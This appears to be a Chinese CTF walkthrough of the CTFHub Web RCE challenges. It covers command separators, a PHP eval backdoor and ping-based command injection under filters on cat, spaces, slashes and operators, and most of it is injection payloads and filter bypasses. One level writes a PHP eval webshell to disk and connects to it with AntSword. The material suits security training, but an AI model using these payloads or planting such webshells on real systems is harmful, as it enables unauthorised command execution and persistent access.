CTFHub-Web-RCE练习
什么是RCE
RCE英文全称:remote command/code execute
分为远程命令执行和远程代码执行
远程命令执行 | 直接调用操作系统命令 | ping |
远程代码执行 | 靠执行代码调用操作系统命令 | eval |
管道符
Windows管道符
:
管道符 | 描述 |
---|---|
| | 直接执行后面的语句。 |
|| | 如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。 |
& | 两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可 |
&& | 如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。 |
Linux的管道符
管道符 | 描述 |
---|---|
; | 执行完前面的语句再执行后面的语句。 |
| | 显示后面语句的执行结果。 |
|| | 当前面的语句执行出错时,执行后面的语句。 |
& | 两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。 |
&& | 如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。 |
CTFHub-Web-RCE练习
eval执行
<?php
if (isset($_REQUEST['cmd'])) {
eval($_REQUEST["cmd"]);
} else {
highlight_file(__FILE__);
}
?>
查看根目录文件
Payload: ?cmd=system("ls");
查看下一级目录,发现flag_23816文件
Payload: ?cmd=system("ls /");
使用cat命令读取文件,找到flag
Payload: ?cmd=system("cat /flag_23816");
https://blog.csdn.net/Xxy605/article/details/107548841?utm_medium=distribute.pc_relevant_t0.none-task-blog-OPENSEARCH-1.control&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-OPENSEARCH-1.control
命令注入-无过滤
这是一个在线测试网络延迟的平台,路由器中经常会见到。无任何安全措施,尝试获取 flag
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$cmd = "ping -c 4 {$_GET['ip']}";
exec($cmd, $res);
}
?>
ping一下127.0.0.1
Payload: ?ip=|ls
发现了25900911724350.php
使用cat读取文件
?ip=|cat 25900911724350.php
无回显,可能存在字符编码无法显示出来
查看网页源代码
还可以利用管道符,通过base64的形式显示文件内容
?ip=|cat 25900911724350.php|base64
base64解码,得到flag
还可以写码
?ip=;echo -e "<?php @eval($_POST['shell']);?>" > a.php
执行?ip=;ls
,发现写入成功
蚁剑连接,数据返回为空
需要注意echo命令会调用$_POST
导致原始文件中没有,一句话木马里面 $_POST
前加上 \
?ip=;echo -e "<?php @eval(\$_POST['shell']);?>" > b.php
b.php写入成功
蚁剑连接成功
命令注入-过滤cat
题目描述:过滤了cat命令之后,你还有什么方法能读到 Flag?
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/cat/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
执行
Payload: ?ip=|ls
发现了flag_22422157929595.php
题目说过滤了cat,绕过cat
- 单引号或双引号绕过
?ip=|ca''t flag_22422157929595.php
?ip=|ca""t flag_22422157929595.php
- 反斜杠绕过
?ip=|ca\t flag_22422157929595.php
- 利用Shell 特殊变量绕过
?ip=|ca$@t flag_22422157929595.php
?ip=|ca$1t flag_22422157929595.php
- linux中直接查看文件内容的命令
cat、tac、more、less、head、tail、file -f、nl、sed、sort、uniq
cat被过滤了,可以使用其他命令,花式Payload
?ip=|tac flag_22422157929595.php
?ip=|more flag_22422157929595.php
?ip=|less flag_22422157929595.php
?ip=|head flag_22422157929595.php
?ip=|tail flag_22422157929595.php
?ip=|file -f flag_22422157929595.php
?ip=|nl flag_22422157929595.php
?ip=|sed flag_22422157929595.php
?ip=|sort flag_22422157929595.php
?ip=|uniq flag_22422157929595.php
命令注入-过滤空格
题目描述:这次过滤了空格,你能绕过吗
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/ /", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
先查询目录结构
Payload:?ip=|ls
查看flag文件内容
Payload:?ip=|cat flag_177172732728132.php
空格被过滤了,用以下字符代替空格:
< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS
新的Payload
?ip=|cat${IFS}flag_177172732728132.php
查看源代码即可得到flag
命令注入-过滤目录分隔符
题目描述:这次过滤了目录分割符 / ,你能读到 flag 目录下的 flag 文件吗
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/\//", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
老规矩
Payload:?ip=|ls
一些命令分隔符
linux中:%0a 、%0d 、; 、& 、| 、&&、||
windows中:%0a、&、|、%1a(一个神奇的角色,作为.bat文件中的命令分隔符)
由于过滤了目录分隔符 /
,需要切换到相应目录,并使用 ;
分隔符连续执行指令
?ip=;cd flag_is_here;ls
cd 进入flag_is_here目录,ls 显示flag_is_here目录里的内容。
查看flag文件内容
Payload: ?ip=;cd flag_is_here;cat flag_3708221509571.php
查看源代码,拿到flag
命令注入-过滤运算符
题目描述:过滤了几个运算符, 要怎么绕过呢
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||\&)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
从代码中,可以看出过滤了 |
与 &
运算符 ,那我们就使用 ;
分隔符绕过
Payload:?ip=;ls
查看文件内容
?ip=;cat flag_64982941521735.php
查看源代码
综合过滤练习
题目描述:同时过滤了前面几个小节的内容, 如何打出漂亮的组合拳呢?
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
审计代码,发现过滤了|、&、;、空格、/、cat
,以及flag和ctfhub
等关键字
1.查看目录结构:
源命令:|ls
#%0a代替运算符|
Payload:?ip=%0als
2.查看flag_is_here文件夹下的文件
源命令:;cd flag_is_here;ls
#%0a绕过运算符和;
#${IFS}代替空格
#flag被过滤了,使用通配符*绕过
Payload:?ip=%0acd${IFS}*_is_here%0als
3.查看flag文件内容
源命令:?ip=;cd flag_is_here;cat flag_216371105627974.php
#使用more代替cat
Payload:?ip=%0acd${IFS}*_is_here%0amore%09*_216371105627974.php